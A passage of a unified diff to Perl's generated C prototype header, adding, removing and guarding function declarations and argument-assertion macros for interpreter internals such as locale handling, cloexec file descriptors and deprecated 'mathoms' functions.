 #define PERL_ARGS_ASSERT_IS_UTF8_XIDCONT	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_xidfirst(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_XIDFIRST	\
 	assert(p)
+#endif
 
 PERL_CALLCONV bool	Perl_isinfnan(NV nv)
 			__attribute__warn_unused_result__
@@ -1924,6 +2074,9 @@
 PERL_CALLCONV int	Perl_magic_setnkeys(pTHX_ SV* sv, MAGIC* mg);
 #define PERL_ARGS_ASSERT_MAGIC_SETNKEYS	\
 	assert(sv); assert(mg)
+PERL_CALLCONV int	Perl_magic_setnonelem(pTHX_ SV* sv, MAGIC* mg);
+#define PERL_ARGS_ASSERT_MAGIC_SETNONELEM	\
+	assert(sv); assert(mg)
 PERL_CALLCONV int	Perl_magic_setpack(pTHX_ SV* sv, MAGIC* mg);
 #define PERL_ARGS_ASSERT_MAGIC_SETPACK	\
 	assert(sv); assert(mg)
@@ -1994,6 +2147,9 @@
 PERL_CALLCONV void	Perl_mg_free_type(pTHX_ SV* sv, int how);
 #define PERL_ARGS_ASSERT_MG_FREE_TYPE	\
 	assert(sv)
+PERL_CALLCONV void	Perl_mg_freeext(pTHX_ SV* sv, int how, const MGVTBL *vtbl);
+#define PERL_ARGS_ASSERT_MG_FREEEXT	\
+	assert(sv)
 PERL_CALLCONV int	Perl_mg_get(pTHX_ SV* sv);
 #define PERL_ARGS_ASSERT_MG_GET	\
 	assert(sv)
@@ -2052,6 +2208,9 @@
 PERL_CALLCONV SV*	Perl_mro_set_private_data(pTHX_ struct mro_meta *const smeta, const struct mro_alg *const which, SV *const data);
 #define PERL_ARGS_ASSERT_MRO_SET_PRIVATE_DATA	\
 	assert(smeta); assert(which); assert(data)
+PERL_CALLCONV SV*	Perl_multiconcat_stringify(pTHX_ const OP* o);
+#define PERL_ARGS_ASSERT_MULTICONCAT_STRINGIFY	\
+	assert(o)
 PERL_CALLCONV SV*	Perl_multideref_stringify(pTHX_ const OP* o, CV *cv);
 #define PERL_ARGS_ASSERT_MULTIDEREF_STRINGIFY	\
 	assert(o)
@@ -2078,6 +2237,11 @@
 PERL_CALLCONV I32	Perl_my_lstat(pTHX);
 #endif
 PERL_CALLCONV I32	Perl_my_lstat_flags(pTHX_ const U32 flags);
+PERL_CALLCONV int	Perl_my_mkstemp_cloexec(char *templte)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_MY_MKSTEMP_CLOEXEC	\
+	assert(templte)
+
 PERL_CALLCONV PerlIO*	Perl_my_popen_list(pTHX_ const char* mode, int n, SV ** args);
 #define PERL_ARGS_ASSERT_MY_POPEN_LIST	\
 	assert(mode); assert(args)
@@ -2313,7 +2477,7 @@
 #define PERL_ARGS_ASSERT_NEWSVPVF	\
 	assert(pat)
 
-PERL_CALLCONV SV*	Perl_newSVpvn(pTHX_ const char *const s, const STRLEN len)
+PERL_CALLCONV SV*	Perl_newSVpvn(pTHX_ const char *const buffer, const STRLEN len)
 			__attribute__warn_unused_result__;
 
 PERL_CALLCONV SV*	Perl_newSVpvn_flags(pTHX_ const char *const s, const STRLEN len, const U32 flags)
@@ -2357,11 +2521,6 @@
 PERL_CALLCONV CV *	Perl_newXS_len_flags(pTHX_ const char *name, STRLEN len, XSUBADDR_t subaddr, const char *const filename, const char *const proto, SV **const_svp, U32 flags);
 #define PERL_ARGS_ASSERT_NEWXS_LEN_FLAGS	\
 	assert(subaddr)
-PERL_CALLCONV void	Perl_new_collate(pTHX_ const char* newcoll);
-PERL_CALLCONV void	Perl_new_ctype(pTHX_ const char* newctype);
-#define PERL_ARGS_ASSERT_NEW_CTYPE	\
-	assert(newctype)
-PERL_CALLCONV void	Perl_new_numeric(pTHX_ const char* newcoll);
 PERL_CALLCONV PERL_SI*	Perl_new_stackinfo(pTHX_ I32 stitems, I32 cxitems)
 			__attribute__warn_unused_result__;
 
@@ -2424,9 +2583,14 @@
 PERL_CALLCONV OP*	Perl_op_scope(pTHX_ OP* o);
 PERL_CALLCONV OP*	Perl_op_sibling_splice(OP *parent, OP *start, int del_count, OP* insert);
 PERL_CALLCONV OP*	Perl_op_unscope(pTHX_ OP* o);
+PERL_CALLCONV void	Perl_optimize_optree(pTHX_ OP* o);
+#define PERL_ARGS_ASSERT_OPTIMIZE_OPTREE	\
+	assert(o)
+#ifndef NO_MATHOMS
 PERL_CALLCONV void	Perl_pack_cat(pTHX_ SV *cat, const char *pat, const char *patend, SV **beglist, SV **endlist, SV ***next_in_list, U32 flags);
 #define PERL_ARGS_ASSERT_PACK_CAT	\
 	assert(cat); assert(pat); assert(patend); assert(beglist); assert(endlist); assert(next_in_list)
+#endif
 PERL_CALLCONV void	Perl_package(pTHX_ OP* o);
 #define PERL_ARGS_ASSERT_PACKAGE	\
 	assert(o)
@@ -2509,6 +2673,9 @@
 PERL_CALLCONV U32	Perl_parse_unicode_opts(pTHX_ const char **popt);
 #define PERL_ARGS_ASSERT_PARSE_UNICODE_OPTS	\
 	assert(popt)
+PERL_CALLCONV SV *	Perl_parse_uniprop_string(pTHX_ const char * const name, const Size_t len, const bool to_fold, bool * invert);
+#define PERL_ARGS_ASSERT_PARSE_UNIPROP_STRING	\
+	assert(name); assert(invert)
 PERL_CALLCONV void	Perl_parser_free(pTHX_ const yy_parser *parser);
 #define PERL_ARGS_ASSERT_PARSER_FREE	\
 	assert(parser)
@@ -2665,9 +2832,9 @@
 PERL_CALLCONV SV*	Perl_reg_qr_package(pTHX_ REGEXP * const rx);
 #define PERL_ARGS_ASSERT_REG_QR_PACKAGE	\
 	assert(rx)
-PERL_CALLCONV REGEXP*	Perl_reg_temp_copy(pTHX_ REGEXP* ret_x, REGEXP* rx);
+PERL_CALLCONV REGEXP*	Perl_reg_temp_copy(pTHX_ REGEXP* dsv, REGEXP* ssv);
 #define PERL_ARGS_ASSERT_REG_TEMP_COPY	\
-	assert(rx)
+	assert(ssv)
 PERL_CALLCONV SV*	Perl_regclass_swash(pTHX_ const regexp *prog, const struct regnode *node, bool doinit, SV **listsvp, SV **altsvp);
 #define PERL_ARGS_ASSERT_REGCLASS_SWASH	\
 	assert(node)
@@ -2803,20 +2970,26 @@
 PERL_CALLCONV void	Perl_save_iv(pTHX_ IV *ivp);
 #define PERL_ARGS_ASSERT_SAVE_IV	\
 	assert(ivp)
+#ifndef NO_MATHOMS
 PERL_CALLCONV void	Perl_save_list(pTHX_ SV** sarg, I32 maxsarg);
 #define PERL_ARGS_ASSERT_SAVE_LIST	\
 	assert(sarg)
+#endif
+#ifndef NO_MATHOMS
 PERL_CALLCONV void	Perl_save_long(pTHX_ long* longp);
 #define PERL_ARGS_ASSERT_SAVE_LONG	\
 	assert(longp)
+#endif
 #ifndef NO_MATHOMS
 PERL_CALLCONV void	Perl_save_mortalizesv(pTHX_ SV* sv);
 #define PERL_ARGS_ASSERT_SAVE_MORTALIZESV	\
 	assert(sv)
 #endif
+#ifndef NO_MATHOMS
 PERL_CALLCONV void	Perl_save_nogv(pTHX_ GV* gv);
 #define PERL_ARGS_ASSERT_SAVE_NOGV	\
 	assert(gv)
+#endif
 #ifndef NO_MATHOMS
 PERL_CALLCONV void	Perl_save_op(pTHX);
 #endif
@@ -2908,13 +3081,17 @@
 PERL_CALLCONV void	Perl_set_context(void *t);
 #define PERL_ARGS_ASSERT_SET_CONTEXT	\
 	assert(t)
-PERL_CALLCONV void	Perl_set_numeric_local(pTHX);
-PERL_CALLCONV void	Perl_set_numeric_radix(pTHX);
 PERL_CALLCONV void	Perl_set_numeric_standard(pTHX);
+PERL_CALLCONV void	Perl_set_numeric_underlying(pTHX);
 PERL_CALLCONV void	Perl_setdefout(pTHX_ GV* gv);
 #define PERL_ARGS_ASSERT_SETDEFOUT	\
 	assert(gv)
-PERL_CALLCONV HEK*	Perl_share_hek(pTHX_ const char* str, I32 len, U32 hash);
+PERL_CALLCONV void	Perl_setfd_cloexec(int fd);
+PERL_CALLCONV void	Perl_setfd_cloexec_for_nonsysfd(pTHX_ int fd);
+PERL_CALLCONV void	Perl_setfd_cloexec_or_inhexec_by_sysfdness(pTHX_ int fd);
+PERL_CALLCONV void	Perl_setfd_inhexec(int fd);
+PERL_CALLCONV void	Perl_setfd_inhexec_for_sysfd(pTHX_ int fd);
+PERL_CALLCONV HEK*	Perl_share_hek(pTHX_ const char* str, SSize_t len, U32 hash);
 #define PERL_ARGS_ASSERT_SHARE_HEK	\
 	assert(str)
 PERL_CALLCONV void	Perl_sortsv(pTHX_ SV** array, size_t num_elts, SVCOMPARE_t cmp);
@@ -2938,7 +3115,11 @@
 PERL_CALLCONV void	Perl_sub_crush_depth(pTHX_ CV* cv);
 #define PERL_ARGS_ASSERT_SUB_CRUSH_DEPTH	\
 	assert(cv)
-/* PERL_CALLCONV bool	sv_2bool(pTHX_ SV *const sv); */
+#ifndef NO_MATHOMS
+PERL_CALLCONV bool	Perl_sv_2bool(pTHX_ SV *const sv);
+#define PERL_ARGS_ASSERT_SV_2BOOL	\
+	assert(sv)
+#endif
 PERL_CALLCONV bool	Perl_sv_2bool_flags(pTHX_ SV *sv, I32 flags);
 #define PERL_ARGS_ASSERT_SV_2BOOL_FLAGS	\
 	assert(sv)
@@ -3128,7 +3309,9 @@
 	assert(sv); assert(namesv)
 
 PERL_CALLCONV void	Perl_sv_dump(pTHX_ SV* sv);
-/* PERL_CALLCONV I32	sv_eq(pTHX_ SV* sv1, SV* sv2); */
+#ifndef NO_MATHOMS
+PERL_CALLCONV I32	Perl_sv_eq(pTHX_ SV* sv1, SV* sv2);
+#endif
 PERL_CALLCONV I32	Perl_sv_eq_flags(pTHX_ SV* sv1, SV* sv2, const U32 flags);
 #ifndef NO_MATHOMS
 PERL_CALLCONV void	Perl_sv_force_normal(pTHX_ SV *sv);
@@ -3166,9 +3349,11 @@
 #define PERL_ARGS_ASSERT_SV_ISA	\
 	assert(name)
 PERL_CALLCONV int	Perl_sv_isobject(pTHX_ SV* sv);
+#ifndef NO_MATHOMS
 PERL_CALLCONV IV	Perl_sv_iv(pTHX_ SV* sv);
 #define PERL_ARGS_ASSERT_SV_IV	\
 	assert(sv)
+#endif
 PERL_CALLCONV STRLEN	Perl_sv_len(pTHX_ SV *const sv);
 PERL_CALLCONV STRLEN	Perl_sv_len_utf8(pTHX_ SV *const sv);
 PERL_CALLCONV STRLEN	Perl_sv_len_utf8_nomg(pTHX_ SV *const sv);
@@ -3202,9 +3387,11 @@
 #ifndef NO_MATHOMS
 PERL_CALLCONV void	Perl_sv_nounlocking(pTHX_ SV *sv);
 #endif
+#ifndef NO_MATHOMS
 PERL_CALLCONV NV	Perl_sv_nv(pTHX_ SV* sv);
 #define PERL_ARGS_ASSERT_SV_NV	\
 	assert(sv)
+#endif
 #ifndef PERL_NO_INLINE_FUNCTIONS
 PERL_STATIC_INLINE bool	S_sv_only_taint_gmagic(SV *sv);
 #define PERL_ARGS_ASSERT_SV_ONLY_TAINT_GMAGIC	\
@@ -3237,15 +3424,19 @@
 	assert(sv)
 #endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV char*	Perl_sv_pvbyten(pTHX_ SV *sv, STRLEN *lp);
 #define PERL_ARGS_ASSERT_SV_PVBYTEN	\
 	assert(sv); assert(lp)
+#endif
 PERL_CALLCONV char*	Perl_sv_pvbyten_force(pTHX_ SV *const sv, STRLEN *const lp);
 #define PERL_ARGS_ASSERT_SV_PVBYTEN_FORCE	\
 	assert(sv)
+#ifndef NO_MATHOMS
 PERL_CALLCONV char*	Perl_sv_pvn(pTHX_ SV *sv, STRLEN *lp);
 #define PERL_ARGS_ASSERT_SV_PVN	\
 	assert(sv); assert(lp)
+#endif
 #ifndef NO_MATHOMS
 PERL_CALLCONV char*	Perl_sv_pvn_force(pTHX_ SV* sv, STRLEN* lp);
 #define PERL_ARGS_ASSERT_SV_PVN_FORCE	\
@@ -3254,9 +3445,11 @@
 PERL_CALLCONV char*	Perl_sv_pvn_force_flags(pTHX_ SV *const sv, STRLEN *const lp, const I32 flags);
 #define PERL_ARGS_ASSERT_SV_PVN_FORCE_FLAGS	\
 	assert(sv)
+#ifndef NO_MATHOMS
 PERL_CALLCONV char*	Perl_sv_pvn_nomg(pTHX_ SV* sv, STRLEN* lp);
 #define PERL_ARGS_ASSERT_SV_PVN_NOMG	\
 	assert(sv)
+#endif
 #ifndef NO_MATHOMS
 PERL_CALLCONV char*	Perl_sv_pvutf8(pTHX_ SV *sv)
 			__attribute__warn_unused_result__;
@@ -3264,9 +3457,11 @@
 	assert(sv)
 #endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV char*	Perl_sv_pvutf8n(pTHX_ SV *sv, STRLEN *lp);
 #define PERL_ARGS_ASSERT_SV_PVUTF8N	\
 	assert(sv); assert(lp)
+#endif
 PERL_CALLCONV char*	Perl_sv_pvutf8n_force(pTHX_ SV *const sv, STRLEN *const lp);
 #define PERL_ARGS_ASSERT_SV_PVUTF8N_FORCE	\
 	assert(sv)
@@ -3289,6 +3484,9 @@
 #define PERL_ARGS_ASSERT_SV_RESET	\
 	assert(s)
 PERL_CALLCONV void	Perl_sv_resetpvn(pTHX_ const char* s, STRLEN len, HV *const stash);
+PERL_CALLCONV SV*	Perl_sv_rvunweaken(pTHX_ SV *const sv);
+#define PERL_ARGS_ASSERT_SV_RVUNWEAKEN	\
+	assert(sv)
 PERL_CALLCONV SV*	Perl_sv_rvweaken(pTHX_ SV *const sv);
 #define PERL_ARGS_ASSERT_SV_RVWEAKEN	\
 	assert(sv)
@@ -3377,6 +3575,7 @@
 PERL_CALLCONV void	Perl_sv_setuv_mg(pTHX_ SV *const sv, const UV u);
 #define PERL_ARGS_ASSERT_SV_SETUV_MG	\
 	assert(sv)
+PERL_CALLCONV SV*	Perl_sv_string_from_errnum(pTHX_ int errnum, SV* tgtsv);
 #ifndef NO_MATHOMS
 PERL_CALLCONV void	Perl_sv_taint(pTHX_ SV* sv);
 #define PERL_ARGS_ASSERT_SV_TAINT	\
@@ -3445,9 +3644,11 @@
 #define PERL_ARGS_ASSERT_SV_UTF8_UPGRADE_FLAGS_GROW	\
 	assert(sv)
 /* PERL_CALLCONV STRLEN	sv_utf8_upgrade_nomg(pTHX_ SV *sv); */
+#ifndef NO_MATHOMS
 PERL_CALLCONV UV	Perl_sv_uv(pTHX_ SV* sv);
 #define PERL_ARGS_ASSERT_SV_UV	\
 	assert(sv)
+#endif
 PERL_CALLCONV void	Perl_sv_vcatpvf(pTHX_ SV *const sv, const char *const pat, va_list *const args);
 #define PERL_ARGS_ASSERT_SV_VCATPVF	\
 	assert(sv); assert(pat)
@@ -3454,10 +3655,10 @@
 PERL_CALLCONV void	Perl_sv_vcatpvf_mg(pTHX_ SV *const sv, const char *const pat, va_list *const args);
 #define PERL_ARGS_ASSERT_SV_VCATPVF_MG	\
 	assert(sv); assert(pat)
-PERL_CALLCONV void	Perl_sv_vcatpvfn(pTHX_ SV *const sv, const char *const pat, const STRLEN patlen, va_list *const args, SV **const svargs, const I32 svmax, bool *const maybe_tainted);
+PERL_CALLCONV void	Perl_sv_vcatpvfn(pTHX_ SV *const sv, const char *const pat, const STRLEN patlen, va_list *const args, SV **const svargs, const Size_t sv_count, bool *const maybe_tainted);
 #define PERL_ARGS_ASSERT_SV_VCATPVFN	\
 	assert(sv); assert(pat)
-PERL_CALLCONV void	Perl_sv_vcatpvfn_flags(pTHX_ SV *const sv, const char *const pat, const STRLEN patlen, va_list *const args, SV **const svargs, const I32 svmax, bool *const maybe_tainted, const U32 flags);
+PERL_CALLCONV void	Perl_sv_vcatpvfn_flags(pTHX_ SV *const sv, const char *const pat, const STRLEN patlen, va_list *const args, SV **const svargs, const Size_t sv_count, bool *const maybe_tainted, const U32 flags);
 #define PERL_ARGS_ASSERT_SV_VCATPVFN_FLAGS	\
 	assert(sv); assert(pat)
 PERL_CALLCONV void	Perl_sv_vsetpvf(pTHX_ SV *const sv, const char *const pat, va_list *const args);
@@ -3466,7 +3667,7 @@
 PERL_CALLCONV void	Perl_sv_vsetpvf_mg(pTHX_ SV *const sv, const char *const pat, va_list *const args);
 #define PERL_ARGS_ASSERT_SV_VSETPVF_MG	\
 	assert(sv); assert(pat)
-PERL_CALLCONV void	Perl_sv_vsetpvfn(pTHX_ SV *const sv, const char *const pat, const STRLEN patlen, va_list *const args, SV **const svargs, const I32 svmax, bool *const maybe_tainted);
+PERL_CALLCONV void	Perl_sv_vsetpvfn(pTHX_ SV *const sv, const char *const pat, const STRLEN patlen, va_list *const args, SV **const svargs, const Size_t sv_count, bool *const maybe_tainted);
 #define PERL_ARGS_ASSERT_SV_VSETPVFN	\
 	assert(sv); assert(pat)
 PERL_CALLCONV UV	Perl_swash_fetch(pTHX_ SV *swash, const U8 *ptr, bool do_utf8);
@@ -3477,7 +3678,8 @@
 #define PERL_ARGS_ASSERT_SWASH_INIT	\
 	assert(pkg); assert(name); assert(listsv)
 
-PERL_CALLCONV void	Perl_sync_locale(pTHX);
+PERL_CALLCONV void	Perl_switch_to_global_locale(void);
+PERL_CALLCONV bool	Perl_sync_locale(void);
 PERL_CALLCONV void	Perl_sys_init(int* argc, char*** argv);
 #define PERL_ARGS_ASSERT_SYS_INIT	\
 	assert(argc); assert(argv)
@@ -3489,6 +3691,8 @@
 PERL_CALLCONV void	Perl_taint_proper(pTHX_ const char* f, const char *const s);
 #define PERL_ARGS_ASSERT_TAINT_PROPER	\
 	assert(s)
+PERL_CALLCONV void	Perl_thread_locale_init(void);
+PERL_CALLCONV void	Perl_thread_locale_term(void);
 PERL_CALLCONV OP *	Perl_tied_method(pTHX_ SV *methname, SV **sp, SV *const sv, const MAGIC *const mg, const U32 flags, U32 argc, ...);
 #define PERL_ARGS_ASSERT_TIED_METHOD	\
 	assert(methname); assert(sp); assert(sv); assert(mg)
@@ -3497,29 +3701,30 @@
 PERL_CALLCONV UV	Perl_to_uni_lower(pTHX_ UV c, U8 *p, STRLEN *lenp);
 #define PERL_ARGS_ASSERT_TO_UNI_LOWER	\
 	assert(p); assert(lenp)
+#ifndef NO_MATHOMS
 PERL_CALLCONV U32	Perl_to_uni_lower_lc(pTHX_ U32 c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
 PERL_CALLCONV UV	Perl_to_uni_title(pTHX_ UV c, U8 *p, STRLEN *lenp);
 #define PERL_ARGS_ASSERT_TO_UNI_TITLE	\
 	assert(p); assert(lenp)
+#ifndef NO_MATHOMS
 PERL_CALLCONV U32	Perl_to_uni_title_lc(pTHX_ U32 c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
 PERL_CALLCONV UV	Perl_to_uni_upper(pTHX_ UV c, U8 *p, STRLEN *lenp);
 #define PERL_ARGS_ASSERT_TO_UNI_UPPER	\
 	assert(p); assert(lenp)
+#ifndef NO_MATHOMS
 PERL_CALLCONV U32	Perl_to_uni_upper_lc(pTHX_ U32 c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
-PERL_CALLCONV UV	Perl_to_utf8_case(pTHX_ const U8 *p, U8* ustrp, STRLEN *lenp, SV **swashp, const char *normal, const char *special)
-			__attribute__deprecated__;
-#define PERL_ARGS_ASSERT_TO_UTF8_CASE	\
-	assert(p); assert(ustrp); assert(swashp); assert(normal)
-
 #ifndef NO_MATHOMS
 PERL_CALLCONV UV	Perl_to_utf8_fold(pTHX_ const U8 *p, U8* ustrp, STRLEN *lenp)
 			__attribute__deprecated__;
@@ -3550,10 +3755,12 @@
 
 PERL_CALLCONV bool	Perl_try_amagic_bin(pTHX_ int method, int flags);
 PERL_CALLCONV bool	Perl_try_amagic_un(pTHX_ int method, int flags);
-PERL_CALLCONV I32	Perl_unpack_str(pTHX_ const char *pat, const char *patend, const char *s, const char *strbeg, const char *strend, char **new_s, I32 ocnt, U32 flags);
+#ifndef NO_MATHOMS
+PERL_CALLCONV SSize_t	Perl_unpack_str(pTHX_ const char *pat, const char *patend, const char *s, const char *strbeg, const char *strend, char **new_s, I32 ocnt, U32 flags);
 #define PERL_ARGS_ASSERT_UNPACK_STR	\
 	assert(pat); assert(patend); assert(s); assert(strend)
-PERL_CALLCONV I32	Perl_unpackstring(pTHX_ const char *pat, const char *patend, const char *s, const char *strend, U32 flags);
+#endif
+PERL_CALLCONV SSize_t	Perl_unpackstring(pTHX_ const char *pat, const char *patend, const char *s, const char *strend, U32 flags);
 #define PERL_ARGS_ASSERT_UNPACKSTRING	\
 	assert(pat); assert(patend); assert(s); assert(strend)
 PERL_CALLCONV void	Perl_unshare_hek(pTHX_ HEK* hek);
@@ -3603,14 +3810,13 @@
 #endif
 
 PERL_CALLCONV STRLEN	Perl_utf8_length(pTHX_ const U8* s, const U8 *e)
-			__attribute__warn_unused_result__
-			__attribute__pure__;
+			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_UTF8_LENGTH	\
 	assert(s); assert(e)
 
-PERL_CALLCONV U8*	Perl_utf8_to_bytes(pTHX_ U8 *s, STRLEN *len);
+PERL_CALLCONV U8*	Perl_utf8_to_bytes(pTHX_ U8 *s, STRLEN *lenp);
 #define PERL_ARGS_ASSERT_UTF8_TO_BYTES	\
-	assert(s); assert(len)
+	assert(s); assert(lenp)
 PERL_CALLCONV UV	Perl_utf8_to_uvchr(pTHX_ const U8 *s, STRLEN *retlen)
 			__attribute__deprecated__;
 #define PERL_ARGS_ASSERT_UTF8_TO_UVCHR	\
@@ -3619,10 +3825,12 @@
 PERL_CALLCONV UV	Perl_utf8_to_uvchr_buf(pTHX_ const U8 *s, const U8 *send, STRLEN *retlen);
 #define PERL_ARGS_ASSERT_UTF8_TO_UVCHR_BUF	\
 	assert(s); assert(send)
+#ifndef NO_MATHOMS
 PERL_CALLCONV UV	Perl_utf8_to_uvuni(pTHX_ const U8 *s, STRLEN *retlen)
 			__attribute__deprecated__;
 #define PERL_ARGS_ASSERT_UTF8_TO_UVUNI	\
 	assert(s)
+#endif
 
 PERL_CALLCONV UV	Perl_utf8_to_uvuni_buf(pTHX_ const U8 *s, const U8 *send, STRLEN *retlen)
 			__attribute__deprecated__;
@@ -3635,6 +3843,9 @@
 PERL_CALLCONV UV	Perl_utf8n_to_uvchr_error(pTHX_ const U8 *s, STRLEN curlen, STRLEN *retlen, const U32 flags, U32 * errors);
 #define PERL_ARGS_ASSERT_UTF8N_TO_UVCHR_ERROR	\
 	assert(s)
+PERL_CALLCONV UV	Perl_utf8n_to_uvchr_msgs(pTHX_ const U8 *s, STRLEN curlen, STRLEN *retlen, const U32 flags, U32 * errors, AV ** msgs);
+#define PERL_ARGS_ASSERT_UTF8N_TO_UVCHR_MSGS	\
+	assert(s)
 PERL_CALLCONV UV	Perl_utf8n_to_uvuni(pTHX_ const U8 *s, STRLEN curlen, STRLEN *retlen, U32 flags);
 #define PERL_ARGS_ASSERT_UTF8N_TO_UVUNI	\
 	assert(s)
@@ -3643,9 +3854,13 @@
 	assert(idop)
 /* PERL_CALLCONV U8*	uvchr_to_utf8(pTHX_ U8 *d, UV uv); */
 /* PERL_CALLCONV U8*	uvchr_to_utf8_flags(pTHX_ U8 *d, UV uv, UV flags); */
+/* PERL_CALLCONV U8*	uvchr_to_utf8_flags_msgs(pTHX_ U8 *d, UV uv, UV flags, HV ** msgs); */
 PERL_CALLCONV U8*	Perl_uvoffuni_to_utf8_flags(pTHX_ U8 *d, UV uv, const UV flags);
 #define PERL_ARGS_ASSERT_UVOFFUNI_TO_UTF8_FLAGS	\
 	assert(d)
+PERL_CALLCONV U8*	Perl_uvoffuni_to_utf8_flags_msgs(pTHX_ U8 *d, UV uv, const UV flags, HV** msgs);
+#define PERL_ARGS_ASSERT_UVOFFUNI_TO_UTF8_FLAGS_MSGS	\
+	assert(d)
 PERL_CALLCONV U8*	Perl_uvuni_to_utf8(pTHX_ U8 *d, UV uv);
 #define PERL_ARGS_ASSERT_UVUNI_TO_UTF8	\
 	assert(d)
@@ -3659,12 +3874,14 @@
 	assert(s)
 #endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV UV	Perl_valid_utf8_to_uvuni(pTHX_ const U8 *s, STRLEN *retlen)
 			__attribute__deprecated__;
 #define PERL_ARGS_ASSERT_VALID_UTF8_TO_UVUNI	\
 	assert(s)
+#endif
 
-PERL_CALLCONV bool	Perl_validate_proto(pTHX_ SV *name, SV *proto, bool warn);
+PERL_CALLCONV bool	Perl_validate_proto(pTHX_ SV *name, SV *proto, bool warn, bool curstash);
 #define PERL_ARGS_ASSERT_VALIDATE_PROTO	\
 	assert(name)
 PERL_CALLCONV int	Perl_vcmp(pTHX_ SV *lhv, SV *rhv);
@@ -3748,6 +3965,9 @@
 PERL_CALLCONV I32	Perl_whichsig_sv(pTHX_ SV* sigsv);
 #define PERL_ARGS_ASSERT_WHICHSIG_SV	\
 	assert(sigsv)
+PERL_CALLCONV void	Perl_wrap_keyword_plugin(pTHX_ Perl_keyword_plugin_t new_plugin, Perl_keyword_plugin_t *old_plugin_p);
+#define PERL_ARGS_ASSERT_WRAP_KEYWORD_PLUGIN	\
+	assert(new_plugin); assert(old_plugin_p)
 PERL_CALLCONV void	Perl_wrap_op_checker(pTHX_ Optype opcode, Perl_check_t new_checker, Perl_check_t *old_checker_p);
 #define PERL_ARGS_ASSERT_WRAP_OP_CHECKER	\
 	assert(new_checker); assert(old_checker_p)
@@ -3769,6 +3989,13 @@
 PERL_CALLCONV int	Perl_yyparse(pTHX_ int gramtype);
 PERL_CALLCONV void	Perl_yyquit(pTHX);
 PERL_CALLCONV void	Perl_yyunlex(pTHX);
+#if ! defined(HAS_MEMRCHR) && (defined(PERL_CORE) || defined(PERL_EXT))
+#ifndef PERL_NO_INLINE_FUNCTIONS
+PERL_STATIC_INLINE void *	S_my_memrchr(const char * s, const char c, const STRLEN len);
+#define PERL_ARGS_ASSERT_MY_MEMRCHR	\
+	assert(s)
+#endif
+#endif
 #if !(defined(DEBUGGING))
 #  if !defined(NV_PRESERVES_UV)
 #    if defined(PERL_IN_SV_C)
@@ -3786,6 +4013,14 @@
 	assert(big); assert(bigend); assert(little); assert(lend)
 
 #endif
+#if !(defined(HAS_NL_LANGINFO) && defined(PERL_LANGINFO_H))
+PERL_CALLCONV const char*	Perl_langinfo(const int item);
+#endif
+#if !(defined(HAS_NL_LANGINFO))
+#  if defined(PERL_IN_LOCALE_C)
+STATIC const char*	S_my_nl_langinfo(const int item, bool toggle);
+#  endif
+#endif
 #if !(defined(HAS_SIGACTION) && defined(SA_SIGINFO))
 PERL_CALLCONV Signal_t	Perl_csighandler(int sig);
 PERL_CALLCONV Signal_t	Perl_sighandler(int sig);
@@ -3802,9 +4037,6 @@
 	assert(index)
 #  endif
 #endif
-#if !(defined(WIN32))
-/* PERL_CALLCONV char*	my_setlocale(pTHX_ int category, const char* locale); */
-#endif
 #if !(defined(_MSC_VER))
 PERL_CALLCONV_NO_RET int	Perl_magic_regdatum_set(pTHX_ SV* sv, MAGIC* mg)
 			__attribute__noreturn__;
@@ -3812,34 +4044,18 @@
 	assert(sv); assert(mg)
 
 #endif
-#if !defined(HAS_BZERO) && !defined(HAS_MEMSET)
-PERL_CALLCONV void*	Perl_my_bzero(void* vloc, size_t len);
-#define PERL_ARGS_ASSERT_MY_BZERO	\
-	assert(vloc)
+#if !defined(EBCDIC)
+#ifndef PERL_NO_INLINE_FUNCTIONS
+PERL_STATIC_INLINE unsigned int	S__variant_byte_number(PERL_UINTMAX_T word)
+			__attribute__warn_unused_result__;
 #endif
+
+#endif
 #if !defined(HAS_GETENV_LEN)
 PERL_CALLCONV char*	Perl_getenv_len(pTHX_ const char *env_elem, unsigned long *len);
 #define PERL_ARGS_ASSERT_GETENV_LEN	\
 	assert(env_elem); assert(len)
 #endif
-#if !defined(HAS_MEMCMP) || !defined(HAS_SANE_MEMCMP)
-PERL_CALLCONV int	Perl_my_memcmp(const void* vs1, const void* vs2, size_t len)
-			__attribute__warn_unused_result__
-			__attribute__pure__;
-#define PERL_ARGS_ASSERT_MY_MEMCMP	\
-	assert(vs1); assert(vs2)
-
-#endif
-#if !defined(HAS_MEMCPY) || (!defined(HAS_MEMMOVE) && !defined(HAS_SAFE_MEMCPY))
-PERL_CALLCONV void*	Perl_my_bcopy(const void* vfrom, void* vto, size_t len);
-#define PERL_ARGS_ASSERT_MY_BCOPY	\
-	assert(vfrom); assert(vto)
-#endif
-#if !defined(HAS_MEMSET)
-PERL_CALLCONV void*	Perl_my_memset(void* vloc, int ch, size_t len);
-#define PERL_ARGS_ASSERT_MY_MEMSET	\
-	assert(vloc)
-#endif
 #if !defined(HAS_MKDIR) || !defined(HAS_RMDIR)
 #  if defined(PERL_IN_PP_SYS_C)
 STATIC int	S_dooneliner(pTHX_ const char *cmd, const char *filename)
@@ -3849,6 +4065,16 @@
 
 #  endif
 #endif
+#if !defined(HAS_MKOSTEMP)
+PERL_CALLCONV int	Perl_my_mkostemp(char *templte, int flags);
+#define PERL_ARGS_ASSERT_MY_MKOSTEMP	\
+	assert(templte)
+#endif
+#if !defined(HAS_MKSTEMP)
+PERL_CALLCONV int	Perl_my_mkstemp(char *templte);
+#define PERL_ARGS_ASSERT_MY_MKSTEMP	\
+	assert(templte)
+#endif
 #if !defined(HAS_RENAME)
 PERL_CALLCONV I32	Perl_same_dirent(pTHX_ const char* a, const char* b);
 #define PERL_ARGS_ASSERT_SAME_DIRENT	\
@@ -3866,6 +4092,11 @@
 #if !defined(HAS_STRLCPY)
 PERL_CALLCONV Size_t	Perl_my_strlcpy(char *dst, const char *src, Size_t size);
 #endif
+#if !defined(HAS_STRNLEN)
